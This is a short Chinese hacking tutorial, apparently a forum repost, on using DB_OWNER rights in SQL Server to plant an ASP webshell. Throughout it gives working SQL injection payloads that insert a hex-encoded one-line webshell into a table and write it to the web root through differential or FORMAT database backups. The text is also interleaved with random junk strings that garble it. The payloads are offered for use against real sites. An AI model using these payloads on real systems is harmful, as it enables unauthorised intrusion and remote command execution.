DB_OWNER权限得到webshell的两点改进:# k, p/ ~1 j% L
: e8 c" f6 l. o1 M
减少备份文件大小,得到可执行的webshell成功率提高不少
( K& q% j) T5 a, u- t& y+ t一利用差异备份9 M2 A1 T* O. ^- t0 N- L. S/ j
加一个参数WITH DIFFERENTIAL+ T! N4 m: T; l; a+ Z4 H; f% c" J
/ w6 @; J5 k: g: c% }+ p1
0 ^/ X' s z1 G9 h& N4 j9 B2
8 p. F0 k- ^: |) ]3
( ]: |# u% `8 a4 c6 I' Q1 Z* v% W4
3 T% y0 `% s' |* g2 g declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
5 _/ {1 N2 v4 z9 E B( A- jcreate table [dbo].[xiaolu] ([cmd] [image]);! d- x" D8 W( B1 ] G& ]
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" Z4 Y& W: g& i* e, ldeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL ( w: N& S8 T) h2 H
7 S. R; T4 o K6 ^- B二利用完全FORMAT5 E2 d. E7 Y# f8 m+ A7 _) o
加一个参数WITH FROMAT
8 q# ^/ X1 d9 E) }. Q W有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
3 w: c* \/ v+ l( G" O6 S4 S' I
6 Z8 Z! X1 q' K1 W; B. W f2 Z. q17 {! B7 n: F2 X% H
2
; [! J8 q# z; l3 ^3 X) u3; Q. K5 v% e' {# h
42 O0 q0 L1 j; Q7 w" |
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s; I1 J- k8 l, x7 U
create table [dbo].[xiaolu] ([cmd] [image]);* K! ~. U% m! I' R3 [0 Q1 R
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
- r% F6 @) z* Z! v" T& Hdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
) z( P9 r9 L$ Z3 z) ~5 Z- E3 Z; E& U, Z) @. i
总的来说就是那么简单几句,下面以备份数据库model为例子
. m: ~8 X) [$ {( B& L/ g1) c- f" Q7 d) S3 _
) B+ V. o( @4 Z+ ~% \& ]7 m% X
1
( Q$ Q; k4 C2 O1 Q id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 8 l- ^2 _" f2 t* A$ h& I' B) ?/ i
" s5 |. Y6 \! X, W2 r; m& h2( Q& V" t$ X, l
: D5 g0 F, v6 x2 b( h
15 ]& [6 Q; Z, K, d; A5 g O3 a
id=1;backup database model to disk='你的路径‘ with differential,format;--
9 V4 s3 y1 S |1 s5 w, p |